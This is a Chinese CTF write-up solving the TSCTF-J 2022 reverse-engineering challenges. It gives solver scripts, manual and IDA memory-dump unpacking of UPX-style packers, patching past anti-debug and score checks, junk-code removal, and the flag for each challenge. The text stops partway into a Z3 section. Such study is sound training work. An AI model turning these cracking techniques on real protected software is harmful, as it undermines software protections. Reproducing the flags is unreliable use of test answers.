TSCTF-J 2022 WP
阅读原文时间:2023年07月13日阅读:1

baby_xor

加密逻辑如上,密文动态调试,然后 Shift+E 导出密文【这样避免了手动获取】

# encoding=utf-8

enc=[  0x12, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x07, 0x00,
  0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
  0x6E, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x3A, 0x00,
  0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x7C, 0x00, 0x00, 0x00,
  0x20, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x7A, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x7B, 0x00, 0x00, 0x00,
  0x16, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x08, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
  0x04, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x22, 0x00,
  0x00, 0x00, 0x75, 0x00, 0x00, 0x00, 0x1B, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x12, 0x00,
  0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
  0x69, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x39, 0x00,
  0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x2B, 0x00, 0x00, 0x00,
  0x55, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x3C, 0x00,
  0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x53, 0x00, 0x00, 0x00,
  0x13]

for i in range(0,len(enc),4):
    print(chr((i//4)^0x46^enc[i]),end='')

TSCTF-J{W3lC0M3_2_ReVEr$E_xOr_1s_$O0o_e2}

byte_code

0x01 题目分析

打开 .txt 文件。发现是python 字节码。那么就需要手动翻译byte_code 变成 python 代码了。

python»理解python的字节码bytecode (hustyx.com)

[(175条消息) CTF逆向-羊城杯 2020]Bytecode-WP-Python字节码反编译_serfend的博客-CSDN博客_ctf python字节码

(175条消息) Python的pyc字节码反编译反汇编相关知识_serfend的博客-CSDN博客_pycdc

转化为python 代码:【这里byte_code.txt 从前往后 依次翻译就行

注意翻译逻辑是,先取值后结合:】

LOAD_CONST          # 加载 常量
BUILD_LIST          # 创建 list
STORE_NAME          # 变量名称

LOAD_NAME           # 加载变量名
LOAD_NAME
BINARY_ADD          # 做加法

CALL_FUNCTION       # 调用函数

# 一些简单指令含义,具体参考官方链接

dis --- Python 字节码反汇编器 — Python 3.10.8 文档

0x02 解密

对应得到下面程序:

# encoding=utf-8

a = [114, 101, 118, 101, 114, 115, 101, 95, 116, 104, 101, 95, 98, 121, 116, 101]
b = [99, 111, 100, 101, 95, 116, 111, 95, 103, 101, 116, 95, 102, 108, 97, 103]
e = [80, 115, 193, 24, 226, 237, 202, 212, 126, 46, 205, 208, 215, 135, 228, 199,
     63, 159, 117, 52, 254, 247, 0, 133, 163, 248, 47, 115, 109, 248, 236, 68]

pos = [9, 6, 15, 10, 1, 0, 11, 7, 4, 12, 5, 3, 8, 2, 14, 13]

d = [335833164, 1155265242, 627920619, 1951749419, 1931742276, 856821608, 489891514,
     366025591, 1256805508, 1106091325,128288025, 234430359, 314915121, 249627427,
     207058976, 1573143998, 1443233295, 245654538, 1628003955, 220633541,1412601456,
     1029130440, 1556565611, 1644777223, 853364248, 58316711, 734735924, 1745226113,
     1441619500, 1426836945,500084794, 1534413607]

c=a+b

for i in range(32):
    print(chr(c[i]),end='')
print()

for i in range(16):
    a[i]=(a[i]+d[i])^b[pos[i]]

for i in range(16):
    b[i]=b[i]^a[pos[i]]

c=a+b

for i in range(32):
    c[i]=c[i]*d[i]&0xff
    c[i]=c[i]^e[i]

    print(chr(c[i]),end='')

运行,转化后的代码得到flag

TSCTF-J{bY7ecoDe_I$_nOT_so_HArd}

baby_upx

0x01 upx脱壳

使用现有脱壳机都失败。只能手动脱壳!!!

OD 手动脱壳【64 位程序 OD 无法使用】只能使用x64 debug

【这里可以使用二分的思想,在程序中间位置断点,依次缩小范围,直到定位到入口点】

对dump出的程序进行分析。

0x02 程序分析

主函数如下:

加密逻辑如下:

直接爆破解出flag

# encoding=utf-8

import os
import subprocess

# 转化小端序
enc_ = 'AF000000AC000000EC000000AF000000E700000059010000DE000000FC0100006F010000ED010000EC010000DE010000B50000006F010000B5000000EE000000E8000000EE000000FC010000B5000000AD000000AE000000FE010000B5000000EE010000EE0100006E0100007E010000DF0000006C010000D9010000FD01'

for i in range(0, len(enc_), 8):
    print(',0x', end='')
    for k in range(i + 6, i - 2, -2):
        print(enc_[k:k + 2], end='')

enc = [0x000000AF, 0x000000AC, 0x000000EC, 0x000000AF, 0x000000E7, 0x00000159, 0x000000DE, 0x000001FC, 0x0000016F,
       0x000001ED, 0x000001EC, 0x000001DE, 0x000000B5, 0x0000016F, 0x000000B5, 0x000000EE, 0x000000E8, 0x000000EE,
       0x000001FC, 0x000000B5, 0x000000AD, 0x000000AE, 0x000001FE, 0x000000B5, 0x000001EE, 0x000001EE, 0x0000016E,
       0x0000017E, 0x000000DF, 0x0000016C, 0x000001D9, 0x01FD]

# 爆破flag
print()
flag = [''] * 32
for i in range(32):
    for k in range(30, 128):
        a1 = k
        if enc[i] == (4 * (~a1 & 0x5B)) | (2 * (a1 ^ 5)) | ((a1 & 0x15) >> 2) | (8 * (a1 & 0x20)):
            flag[i] += chr(k)
            print(chr(k), end='')
    print()
use = [0] * 32
# TSCTF-J{$uch_$_@A@y_UPx_bp28L#m}  存在多解 借用树的遍历,写出所有解

# for i in range(len(flag)):
#     print('["'+flag[i]+'"]',end=',')

print(flag)   # 下面可以简单排除不可能的选项再爆破,降低复杂度

flag=['T', 'S', 'C', 'T', 'F', '-', 'J', '{', '$4', 'u', 'cqs', 'hj', '_', '$4', '_', '@B', 'A', '@B', 'y', '_', 'U', 'P', 'x', '_', '`bpr', '`bpr', '"02', '8:', 'L', '#13', 'm', '}']

0x03 多解爆破

通过树的先序遍历进行爆破

flag=['T', 'S', 'C', 'T', 'F', '-', 'J', '{', '$4', 'u', 'cqs', 'hj', '_', '$4', '_', '@B', 'A', '@B', 'y', '_', 'U', 'P', 'x', '_', '`bpr', '`bpr', '"02', '8:', 'L', '#13', 'm', '}']

# 树的遍历爆破

def pri(flag, i, pos,  str_):
    if i == 32:
        filename = r"F:\CTF_\CTF练习\2022_ctf\TSCTF-J 2022\RE\baby_upx\baby_upx.exe"
        p = subprocess.Popen([filename], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        p.stdin.write(str_.encode())
        p.stdin.close()

        out = p.stdout.read()
        p.stdout.close()
        print(out)
        if "You are so close to right flag!".encode() not in out:
            print(str_)
            input()

        print("[-]:"+":"+str_)
        return

    for k in range(pos, len(flag[i])):
        pri(flag, i + 1, 0,  str_ +flag[i][k])

    return
pri(flag,0, 0, '')

最终得到flag

TSCTF-J{$uch_4_BABy_UPx_pr08L3m}

baby_key

0x01 程序分析

程序流程如下图描述:

【注意:这里静态得到的密文是不对的,需要动态调试(或者xor 0x27)获得

0x02 爆破密钥key

爆破密钥 key

# encoding=utf-8

order = [11, 12, 10, 8, 3, 5, 2, 0, 7, 6, 13, 15, 9, 14, 4, 1]

enc1 = [79, 45, 144, 112, 179, 43, 100, 42, 72, 20, 117, 28, 90, 122, 98, 62]

enc_key = 'flag{VM1sSo3asy}'

for i in range(len(order)):
    for k in range(30,128):
        tmp = 0
        if k <= 115:
            if k >= 79:
                if k == 79:
                    tmp = enc1[order[i]] + 7
                elif k == 100:
                    tmp = enc1[order[i]] - 47
                elif k == 103:
                    tmp = enc1[order[i]] - 56
                elif k == 104:
                    tmp = enc1[order[i]] + 43
                elif k == 109:
                    tmp = enc1[order[i]] - 23
                elif k == 115:
                    tmp = enc1[order[i]] + 23
            elif k==52:
                tmp = enc1[order[i]] - 9
            elif k<=52:
                if k == 51:
                    tmp = enc1[order[i]] - 7
                elif k == 33:
                    tmp = enc1[order[i]] +63
                elif k == 42:
                    tmp = enc1[order[i]] - 6
        if tmp==ord(enc_key[order[i]]):
            print(chr(k),end='')
            break

sO*h4hdsOm3!!sg!

k[]={0x682A4F73, 0x73646834, 0x21336D4F, 0x21677321};

0x03 魔改TEA 解密

python 处理数据

#  大小端序,转化和patch出的数据处理 

# 假密文
enc_='2F332070AC7E8904CAD2FB03518C802369E0C0E54162F226B887A433FB7A29E445203C2AFE2CEC18F302010E993B0721'

true_enc=[  0x08, 0x14, 0x07, 0x57, 0x8B, 0x59, 0xAE, 0x23, 0xED, 0xF5,
  0xDC, 0x24, 0x76, 0xAB, 0xA7, 0x04, 0x4E, 0xC7, 0xE7, 0xC2,
  0x66, 0x45, 0xD5, 0x01, 0x9F, 0xA0, 0x83, 0x14, 0xDC, 0x5D,
  0x0E, 0xC3, 0x62, 0x07, 0x1B, 0x0D, 0xD9, 0x0B, 0xCB, 0x3F,
  0xD4, 0x25, 0x26, 0x29, 0xBE, 0x1C, 0x20, 0x06]

enc_='081407578B59AE23EDF5DC2476ABA7044EC7E7C26645D5019FA08314DC5D0EC362071B0DD90BCB3FD4252629BE1C2006'

# 小端序
for i in range(0,len(enc_),8):
    print(',0x',end='')
    for k in range(i+6,i-2,-2):
        print(enc_[k:k+2],end='')

print()
for i in range(0,len(enc_),8):
    print('0x'+enc_[i:i+8],end=',')

c脚本解密【这里要注意 delta值 大小端序 还有TEA逆向解密的一些细节】

#include <stdio.h>
#include <stdint.h>  

//加密函数
void encrypt (uint32_t* v, uint32_t* k,int round) {
    uint32_t v0=v[0], v1=v[1], sum=0, i;           /* set up */
    uint32_t delta=0x61C88647;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i < round; i++) {                       /* basic cycle start */
        sum -= delta;
        v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}
//解密函数
void decrypt (uint32_t* v, uint32_t* k,int round) {
    uint32_t v0=v[0], v1=v[1], sum=0x61C88647*round*(-1), i;  /* set up */
    uint32_t delta=0x61C88647;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<round; i++) {                         /* basic cycle start */
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum += delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}  

int main()
{
    uint32_t v[] = {0x08140757,0x8B59AE23,0xEDF5DC24,0x76ABA704,0x4EC7E7C2,0x6645D501,0x9FA08314,0xDC5D0EC3,0x62071B0D,0xD90BCB3F,0xD4252629,0xBE1C2006};
      uint32_t k[]={0x682A4F73, 0x73646834, 0x21336D4F, 0x21677321};
      int n=sizeof(v)/sizeof(uint32_t);
      int round=32;

    printf("加密前原始数据:\n");
    for (int i=0;i<12;i++)
    {
        for (int j=0;j<4;j++)
        {
        printf("0x%x,",((v[i]>>j*8)&0xff));
         }
     } 

     for (int i=10;i>=0;i--)   // 由于程序本身 TEA 加密相邻,所以解密时得逆着来
     {
            decrypt(&v[i], k,round);
     } 

    printf("\n解密后的数据:\n");
    for (int i=0;i<12;i++)
    {
        for (int j=0;j<4;j++)
        {
        printf("%c",((v[i]>>j*8)&0xff));
         }
     } 

         for (int i=0;i<=10;i++)
     {
             encrypt(&v[i], k ,round);
     } 

    printf("\n加密后的数据:\n");
     for (int i=0;i<11;i++)
    {
        for (int j=0;j<4;j++)
        {
        printf("0x%x,",((v[i]>>j*8)&0xff));
         }
     }

    return 0;
}

TSCTF-J{T1ny_eNcryPtIoN_4LgOrIthm_Is_so_FUn}

ez_maze

0x01 去混淆尝试

ida 【空格】 得到下面 Graph,显然是平坦化了的,直接分析难度比较大!

简单去控制流平坦化 cq674350529/deflat: use angr to deobfuscation (github.com)

【0x401150】 ===>main 函数入口地址

python deflat.py -f ez_maze --addr 0x401150

打开程序,发现所有逻辑都patch 了,所以其实没成功!!

0x02 程序分析

观察程序,先简单处理再去平坦化!!!【或者只能硬逆了】

只能硬逆了!【上述处理是不对的,改变了程序逻辑】

找到地图data,先生成maze,一番测试确定 91*61 【这里通过 地图长度5457 分解因数后知道地图大小】

现在来查找起点,终点位置,移动字母等

初始92 ==> (1,1) 起点
终点5457 ====>(59,88)

pos=5457
print(int(pos//91),',',pos%91)  #(59,88)

移动: A 左移3 D 右移3 W 上移182 S 下移 182 【*v27 代表当前位置】

下面图示是,是否撞墙的检测,能移动的话,左右 -+ 3 上下 -+182:【下图标注不准确】

0x02 走地图

【?要用算法写寻路脚本吗,那难度显然不一般】

先脑走一下!!![走不通XX标记,还有逆着走,好排除走不通的路径]

走通了,但是,写路径的时候,一写眼睛就花!写个简单程序来走!【主要帮助记录路线,还有print 走过的路】

# 地图如上

start = 92

print()
path = ''

maze=list(maze)

while True:
    tmp = input("give me ch:")
    print(tmp)

    if tmp == 'A':
        start -= 3
    elif tmp == 'D':
        start += 3
    elif tmp == 'W':
        start -= 91
    elif tmp == 'S':
        start += 91

    # 更新地图
    maze[start] = '#'

    # 打印地图
    tmp_ = 0
    for i in range(len(maze)):
        if (tmp_ + 1) % 91 == 0:
            print(maze[i])
        else:
            print(maze[i], end='')
        tmp_ += 1
    path += tmp
    print("当前步数:"+path)
    if start == 5457:
        break

最终得到上述路线!!!

DSSDWWDDSSDWWDDDSSASSSSSSSSDDSSSSDSSSSDWWDWWAWWWWWWWWASSAAWWDWWDWWDDSSDSSDDWWWWDDSSASSSSSSDDDWWAWWWWWWDWWDDSSSSDSSSSDSSDSSDSSSSAAAAAWWWWASSASSASSDSSDWWDDSSDDDWWDDSSASSDSSSSDWWDWWWWDSSSSSSSSSSSSSSAWWAAWWAAAAASSAAASSASSDDDDWWDWWDSSSSSSDDWWWWDSSSSSSDSSASSSSAAWWAWWWWAASSSSDSSDSSSSDSSDDSSDDSSASSDD

上下移动减半:【我上面脚本上下移动 写的是 -+91,但实际是182】

DSDWDDSDWDDDSASSSSDDSSDSSDWDWAWWWWASAAWDWDWDDSDSDDWWDDSASSSDDDWAWWWDWDDSSDSSDSDSDSSAAAAAWWASASASDSDWDDSDDDWDDSASDSSDWDWWDSSSSSSSAWAAWAAAAASAAASASDDDDWDWDSSSDDWWDSSSDSASSAAWAWWAASSDSDSSDSDDSDDSASDD

import hashlib

path='DSDWDDSDWDDDSASSSSDDSSDSSDWDWAWWWWASAAWDWDWDDSDSDDWWDDSASSSDDDWAWWWDWDDSSDSSDSDSDSSAAAAAWWASASASDSDWDDSDDDWDDSASDSSDWDWWDSSSSSSSAWAAWAAAAASAAASASDDDDWDWDSSSDDWWDSSSDSASSAAWAWWAASSDSDSSDSDDSDDSASDD'

print(hashlib.md5(path.encode()).hexdigest().upper())

1C34207F7C0B2F2C79A28A13B16907C6

TSCTF-J{1C34207F7C0B2F2C79A28A13B16907C6}

0x01 程序分析

应该是无壳的,直接分析,使用dnspy 32 位 逆向!

下面定位到关键函数 【定位到这里,主要是信息比较可疑,还有下面base64 解密的串】

public int[] After_Game = new int[]
        {
            53,71,22,108,73,97,59,107,63,126,103,125,106,80,98,66,83,93,75,2,94,96,91,48
        };

        // Token: 0x04000009 RID: 9
        public int[] Aim;

        // Token: 0x0400000A RID: 10
        public int[] k = new int[]
        {
            71,
            65,
            77,
            51
        };

for (int i = 0; i < num - 3; i++)
        {
            int num2 = this.Aim[i];
            int num3 = this.Aim[i + 1];
            int num4 = this.Aim[i + 2];
            int num5 = this.Aim[i + 3];
            this.Aim[i] = (num4 ^ (this.k[0] + (num2 >> 3) & 69));
            this.Aim[i + 1] = (num5 ^ (this.k[1] + (num3 >> 4) & 103));
            this.Aim[i + 2] = (num2 ^ this.k[2]);
            this.Aim[i + 3] = (num3 ^ this.k[3]);
            int num6 = this.k[0]; //循环处理
            this.k[0] = this.k[1];
            this.k[1] = this.k[2];
            this.k[2] = this.k[3];
            this.k[3] = num6;
        }

0x02 逆向解密

python 逆向

# encoding=utf-8

import base64

# print(base64.b64decode('5b2T5YmN5YWz5Y2h77ya'))  # 当前关卡:

After_Game = [53,71,22,108,73,97,59,107,63,126,103,125,106,80,98,66,83,93,75,2,94,96,91,48]

key = [71,65,77,51]

for i in range(21):   # 先正着来,获取结束状态的key值情况,省得自己推了!
    tmp=key[0]
    key[0]=key[1]
    key[1]=key[2]
    key[2]=key[3]
    key[3]=tmp

for i in range(20, -1, -1):   # 对加密逻辑得逆向
    tmp = key[3]
    key[3] = key[2]
    key[2] = key[1]
    key[1] = key[0]
    key[0] = tmp

    num3 = After_Game[i + 3] ^ key[3]
    num2 = After_Game[i + 2] ^ key[2]
    num5 = After_Game[i + 1] ^ (key[1] + (num3 >> 4) & 103)
    num4 = After_Game[i] ^ (key[0] + (num2 >> 3) & 69)
    After_Game[i] = num2
    After_Game[i+1] = num3
    After_Game[i+2] = num4
    After_Game[i+3] = num5

for i in range(24):
    print(chr(After_Game[i]),end='')

TSCTF-J{Y0u_@r3_1inKgAm3_M@2TeR!}

Thunder_air

0x01 文件修复

exeinfo_

There is something wrong in the PE LOADER. Can you fix it? Hint:Intel 386 Machine. Find its machine code!

删除文字,再使用exeinfo,得到 32 位

ida 32 位,Intel 386 Machine。【ida 上不存在】

使用ghidra【也不存在】,只能Intel 386 Machine 聚焦这进行了。

通过010 edit 中的。exe.bt 模板,在PE NT 头中发现存在

enum IMAGE_MACHINE Machine ===> 修改为 I386

现在程序可以正常逆向了!

0x02 程序分析

发现花之恋,去除两处花之恋后!【花指令】【主要通过,D 转化为数据后,nop掉导致异常的字节码,这里需要自行尝试】

程序正常F5 后,找到input 位置,分析知道是变表base64 编码!

密文到 base64 编码数据有如下转化:

enc1=[  0x78, 0x4E, 0x7B, 0x15, 0x78, 0x47, 0x20, 0x6B, 0x7E, 0x7C,
  0x17, 0x73, 0x70, 0x52, 0x67, 0x1F, 0x60, 0x78, 0x1A, 0x75,
  0x74, 0x7F, 0x77, 0x4B, 0x70, 0x18, 0x5E, 0x7C, 0x56, 0x49,
  0x72, 0x67, 0x57, 0x7F, 0x5E, 0x19, 0x74, 0x5B, 0x45, 0x59,
  0x7B, 0x15, 0x4E, 0x69, 0x56, 0x71, 0x76, 0x71, 0x57, 0x4E,
  0x72, 0x17, 0x4B, 0x78, 0x1A, 0x7C, 0x75, 0x18, 0x71, 0x73,
  0x76, 0x56, 0x71, 0x23]

v10=[0]*len(enc1)

for i in range(len(enc1)):
    v10[i]=(enc1[i]-5)^0x23
    print(chr(v10[i]),end='')
# PjU3Pa8EZT1MHnA9xP6SLYQeH0zTrgNAqYz7LucwU3jGrOROqjN1eP6TS0OMRrO=

查看,base64 table。发现存在不可见字符【静态分析】

显然,需要动态调试获得真正的base64 变表。

交叉引用,跳转到上一个函数。也是游戏逻辑的主要模块!

其中存在debug,分数值判断,sleep等。同时需要先游戏完成,才能输入flag

那么如何绕过限制呢?【必然不可能去玩游戏】

【这里通过修改程序逻辑,绕过】【主要是,修改Debug运行逻辑,sleep()等待时间,分数值>=100000】【Debug 处理比较简单】修改后,如下图:

然后就可以动态调试了!动调得到base64 变表!【这里也是动态分析得目的】

sQ+3aj02RchXLUFmSNZoYPlr8e/HVqxwfWtd7pnTADK51Evi9kGMOgbuIzyB46JC

0x03 解密py

变表base64 解编码:

# encoding=utf-8
import base64

enc1=[  0x78, 0x4E, 0x7B, 0x15, 0x78, 0x47, 0x20, 0x6B, 0x7E, 0x7C,
  0x17, 0x73, 0x70, 0x52, 0x67, 0x1F, 0x60, 0x78, 0x1A, 0x75,
  0x74, 0x7F, 0x77, 0x4B, 0x70, 0x18, 0x5E, 0x7C, 0x56, 0x49,
  0x72, 0x67, 0x57, 0x7F, 0x5E, 0x19, 0x74, 0x5B, 0x45, 0x59,
  0x7B, 0x15, 0x4E, 0x69, 0x56, 0x71, 0x76, 0x71, 0x57, 0x4E,
  0x72, 0x17, 0x4B, 0x78, 0x1A, 0x7C, 0x75, 0x18, 0x71, 0x73,
  0x76, 0x56, 0x71, 0x23]

v10=[0]*len(enc1)

for i in range(len(enc1)):
    v10[i]=(enc1[i]-5)^0x23
    print(chr(v10[i]),end='')

change_table='sQ+3aj02RchXLUFmSNZoYPlr8e/HVqxwfWtd7pnTADK51Evi9kGMOgbuIzyB46JC'

table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

str1='PjU3Pa8EZT1MHnA9xP6SLYQeH0zTrgNAqYz7LucwU3jGrOROqjN1eP6TS0OMRrO='  # base64加密密文

print(base64.b64decode(str1.translate(str.maketrans(change_table,table))))

TSCTF-J{3nj0y_P1@Ylng_ThuNd3r_41r_B4tTle_g@m3!}

upx_revenge

0x01 vpx壳分析

UPX[NRV2B_LE32,best,Modified(21585056)]

ida 里发现一些加壳相关的信息

$Info: This file is packed with the VPX executable packer http://upx.sf.net

$Id: VPX 3.95 Copyright (C) 1996-2018 the VPX Team. All Rights Reserved. 

upx/upx at devel (github.com)

UPX - the Ultimate Packer for eXecutables (github.com)

知道野蛮人/超野蛮人做什么吗? ·问题 #174 ·上行/上行 (github.com)

查找到一些相关信息,但都无法利用

ida 动态调试,不好断。还异常退出,继续用X64deBUG 脱壳【突然意识到,X64debug 只能调式exe文件,OD 只能32 位】。那么只能继续用ida 进行处理。

0x02 Ida 带壳动态调试

ELF64手脱UPX壳实战 - 『脱壳破解区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

不断动调后,确定程序大概入口点!【最开始分析的,不太准确】

C 强制转化得到类似加密函数,混淆了

同时也在这个函数发现,Your Input is Correct! 字样。【显然就是关键函数了】

接下来,就需要正确dump出程序进行详细分析了!

【这里先通过,010修改程序入口的方式尝试】

entry 改为 0x401090 后,动态调试,发现程序直接获取了输入。说明,这个入口不对还得分析。【再次获得 0x4016D1 、0x401070 等 入口 】010 修改入口后多次尝试!【有瞎猜的味道了】【但是,这种方式是无用的,因为加壳程序有类似smc 自修改的效果,光静态修改入口,得到的程序没有啥作用。还会让程序更加难以分析 】

【下图是,ida多次尝试后,动态调试到的真正的程序逻辑处,但是光跳转此处,就得10多步断点,每次动态调试都是不小的挑战【带壳分析】】

和第一次,动调的位置差不多。也大致确定程序入口的范围!!!

【下图是通过定位,Your Input is Correct. 进行回退分析,发现eax 每次 sub 一个定值(或许就是密文),到入下判断点时,若为0 则输入正确】

【这个判断是错误的,现在知道这只是混淆手段,程序的每一步运行轨迹都是确定的】

# 做题时的错误分析
eax 来源于 ebp-0x16===>ebp-0x14====>input 【error】
ebp-0x14 动调可以知道  等于 input          【error】

如上简单分析了一下。【上面几条分析,是错误的,但对当时做题是有用的,不断的推翻重来,才能逐渐接近正确逻辑】

【再次修改程序入口点,进行调试发现帮助不大,main函数的最终启动,位于libc_main 一个.so 文件,然后才跳转到真正逻辑,只单纯改入口点没有用】

如下是正确的脱壳思路:

【尝试动态调试到关键函数,再dump出程序(相当于copy当前状态),这样确保了程序的正确逻辑,也是ida dump 脱壳的思路】

【同时这个方法有一个限制,就是脱壳后的程序,只能静态分析,所以还是需要动静结合,才能正确分析出程序流程

# dump 当前状态,也相当于脱壳了

start_address=0x400000
end_address=0x405F70

Shift F2 打开python 脚本dump程序

import idaapi

start_address=0x400000
end_address=0x405F70
data_length=end_address-start_address

data = idaapi.dbg_read_memory(start_address, data_length)
fp = open(r'F:\CTF_\CTF练习\2022_ctf\TSCTF-J 2022\RE\upx_revenge\010_edit\dump', 'wb')
fp.write(data)
fp.close()

【当然后面和出题人交流知道,这题的壳可以通过010 将所有 vpx 字样,改为 upx 就可以正常upx脱壳机脱壳】直接头铁,硬逆了属实!

0x03 脱壳静态与带壳动态结合分析

如上dump 出程序,脱壳成功!!!

首先根据一些明显的判断,知道flag格式 长度 45

# 大概格式!
【TSCTF-J{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}】

flag='TSCTF-J{'+'X'*36+'}'
flag=list(flag)
flag[21]='-'
flag[16]='-'
flag[31]='-'
flag[26]='-'

print(''.join(flag))

检测思路,先通过验证输入字符是否正确,正确才会继续跳转到下面的验证!!!【静态不易分析】

【由于dump的程序,无法动态调试,还是继续用原本的程序进行动态调试,两相结合进行分析

太折磨人了!看能不能带壳去平坦化!【当时到这里,已经想放弃了,,,】

python deflat.py -f upx_revenge_test --addr 0x4016D0【不可以去平坦化】

那继续动态调试,分析!!!折磨人呀

下面是程序加密逻辑的分析:

【TSCTF-J{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}】
【/root/ida_/upx_revenge】

分析知道:【下面看似简略,但分析出结论,我花了大功夫的,静态猜测加密逻辑,动态去验证,然后推翻。再结合静态验猜测,再验证,以此往复】

1.先做格式检查  TSCTF-J{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
2.将字符两两取出,其值为下标,通过映射表byte_405060,xor 0x35
得到一个长度为16 的数组,继续加密

接下来,以TSCTF-J{12345678-4321-abcd-4321-abcdef123456}继续测试动态调试

3. sub_401180 加密逻辑 【脱壳后静态与原本程序动态结合分析】 四轮 每轮加密4次   【最终得到,下面加密逻辑,后面知道是矩阵乘法】

# v11 = v16 + v17 * a4;
# *(_QWORD *)(a3 + 8 * v11) += *(_QWORD *)(a2 + 8LL * (v16 + v15 * a4)) * * (_QWORD *)(a1 + 8LL * (v15 + v17 * a4));

tmp=[0]*4
for i in range(2):
    for k in range(2):
        for j in range(2):
            tmp[k+2*i]+=order[j+i*2]*data[k+j*2]
print(tmp)

4.
case 0x5577F8E1:
        qword_405EF0[4 * v50 + v49] -= qword_405160[4 * v50 + v49] * qword_405260;
        qword_405EF0[4 * v50 + v49] = (unsigned __int64)qword_405EF0[4 * v50 + v49] >> 1;

4 * 4 次:

联系第三个步骤!可写出如下函数

def enc1(order, data):
    tmp = [0] * 16
    for i in range(2):
        for k in range(2):
            for j in range(2):
                tmp[k + 2 * i] += order[j + i * 2] * data[k + j * 2]
    return tmp

tmp1 = [0] * 16
tmp2 = [0] * 16
for i in range(4):

    tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
    tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])
    tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
    tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:])

    print("第",i,"组:",tmp2)

    for k in range(4):
        tmp2[i * 4 + k] -= order[i * 4 + k] * 0x3C47
        tmp2[i * 4 + k] = tmp2[i * 4 + k] >> 1

5. 第五步分析,是个16次的循环
【发现是将加密结果 与密文比较 干,终于到这一步了】

patch 出密文 解密程序得到flag
enc=[0x62961C0FE4D28,0x37FB23287E2852,0x3E1C8F5457EF0,0x234502946A064A,0xD87741DA9D659,0x26269C0306349,0x138CA0B38EE747,0x37209312D14CF,0x6FFB20902E85A6,0xA4DFB45E434627,0xB2F4F8CBA70ADE,0x1077C2F84B5994B,0x413B997953E9D1,0x642F09CFEEA51C,0x20DBBAEB80A022,0x3276ADEF34B91D]

下面是验证加密逻辑是否分析正确:【通过动态调试 patch 程序数据,到下面程序跑,看跑出的结果和程序运行的结果是否相同 】

'TSCTF-J{12345678-4321-abcd-4321-abcdef123456}'

# 805
print(805 * 0x19)

order = [0x10, 0x05, 0x09, 0x04, 0x02, 0x0B, 0x07, 0x0E, 0x03, 0x0A, 0x06, 0x0F, 0x0D, 0x08, 0x0C, 0x01]

data = [0x19, 0xB0, 0x51, 0x6F, 0x4F, 0x0E, 0x2D, 0xAC, 0x4F, 0x0E, 0x2D, 0xAC, 0x6E, 0x19, 0xB0, 0x51]

unk_4051E0 = [0x18, 0x76, 0x02, 0xE9, 0xA4, 0x00, 0x08, 0x35, 0x74, 0x20, 0x02, 0xB9, 0x5A, 0xC7, 0x6F, 0x6F]

end = [805, 3371, 549, 2028]

# v11 = v16 + v17 * a4;
# *(_QWORD *)(a3 + 8 * v11) += *(_QWORD *)(a2 + 8LL * (v16 + v15 * a4)) * * (_QWORD *)(a1 + 8LL * (v15 + v17 * a4));

def enc1(order, data):
    tmp = [0] * 16
    for i in range(2):
        for k in range(2):
            for j in range(2):
                tmp[k + 2 * i] += order[j + i * 2] * data[k + j * 2]
    return tmp

tmp1 = [0] * 16
tmp2 = [0] * 16
for i in range(4):

    tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
    tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])
    tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
    tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:])

    for k in range(4):
        tmp2[i * 4 + k] -= order[i * 4 + k] * 0x3C47
        tmp2[i * 4 + k] = tmp2[i * 4 + k] >> 1
    print("第", i, "组:", tmp2)

print(tmp2)

# 是相同的,加密逻辑分析的是正确的!!!

肝了2/3天终于出来了!!!【当时的感触,保留了下来】

【但是后面发现,加密流程难分析,解密也不简单呀!】

0x04 Z3 解密

解密程序如下【下面的脚本,由于当时知道加密逻辑,但未识别出是矩阵乘法,所以逆向的时候,通过Z3 方程,列出未知数求解】

# encoding=utf-8

import hashlib
from z3 import *

# 映射表
